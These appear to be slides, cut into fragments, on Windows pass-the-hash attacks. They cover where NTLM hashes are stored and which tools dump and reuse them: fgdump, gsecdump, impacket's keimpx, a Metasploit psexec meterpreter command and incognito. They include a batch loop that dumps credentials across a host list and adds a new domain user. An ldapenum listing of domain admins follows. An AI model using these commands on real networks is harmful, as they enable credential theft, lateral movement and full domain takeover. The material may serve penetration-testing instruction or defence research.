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- Remote Shares
- HTTP NTLM Authentication
- MSRPC - which includes:
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- 2** You implement an authentication system which only needs these hashes



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- Now authenticated users can use the functionality for which they have access without re-entering their passwords



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- Compromised hashes need never be cracked and access tokens can be used on a compromised machine



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local vs global maxima

If we own a windows machine we are at a local maxima, but if a Domain Admin logs into the compromised machine we can own the whole Domain, global maxima anyone?



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 - 1 The SAM
 - Local Accounts
 - Password History
 - 2 Session Stored Hashes
 - Temporary Storage
 - Only there during and interactively logged in sessions*
 - Can be Local or Domain Users
- The format for both are the same thus retrieved tokens are completely interchangeable

* under some circumstances session hashes are stored even after a user logs out



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1 From the SAM

- fgdump.exe - can be used locally and remotely
- PWDumpX.exe - can be used locally and remotely
- gsecdump.exe - local only

2 From the Users Session

- whosthere[-alt] - a bit dirty (pass the hash toolkit)
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- core's impacket Library - python based tools
 - hashspray.py & keimpx.py
 - both take hashes, domains, hosts, usernames and permute to test for working hashes

2 Using Them Directly

- Tenable's NASL based smbshell
- metasploit - psexec exploit will take hashes and domain


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windows/smb/psexec PAYLOAD=windows/meterpreter/bind_tcp  
RHOST=192.168.2.96 SMBDomain=domain.com  
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- keimpx
 - can be used to access lots of hosts
 - can be used to access hashes and passwords
 - can be used to access user hashes to access
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 - msivct.exe
- then use the windows rpc mechanism to do what you want
 - 'Domain Administration' mmc plugins for example

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- First set up windows session using iam-alt
- then using the new token call the following bat file

```
for /f "tokens=1*" %%i in ('type ips.txt')
do
 psexec.exe \\%%i -c -s gsecdump -u > %%i
 incognito.exe -h %%i \
 add_user -h dc mynewuser password
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```
./ldapenum.pl -U -i 192.168.2.94 -u deanx -p 1111111111111111222 -d "domain.com" -U
```

| User Name     | Password Length | Groups                                                                                              |
|---------------|-----------------|-----------------------------------------------------------------------------------------------------|
| deanx         | 19              |                                                                                                     |
| testuser      | 12              | Domain Admins,                                                                                      |
| dbadmin2      | 8               | Administrators,                                                                                     |
| Administrator | N/A             | Group Policy Creator Owners, Domain Admins,<br>Enterprise Admins, Schema Admins,<br>Administrators, |
| Guest         | N/A             | Domain Guests,<br>Guests,                                                                           |
| IWAM_SBS      | N/A             | Guests,                                                                                             |
| IUSR_SBS      | N/A             | Guests,                                                                                             |
| krbtgt        | N/A             |                                                                                                     |



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- iam-alt patch
  - <http://hexale.blogspot.com/2008/10/bug-in-iam-alt-makes-it-fail-completely.html>
- Incognito
  - <http://sourceforge.net/projects/incognito>
  - <http://eusecwest.com/esw08/esw08-jennings.pdf>
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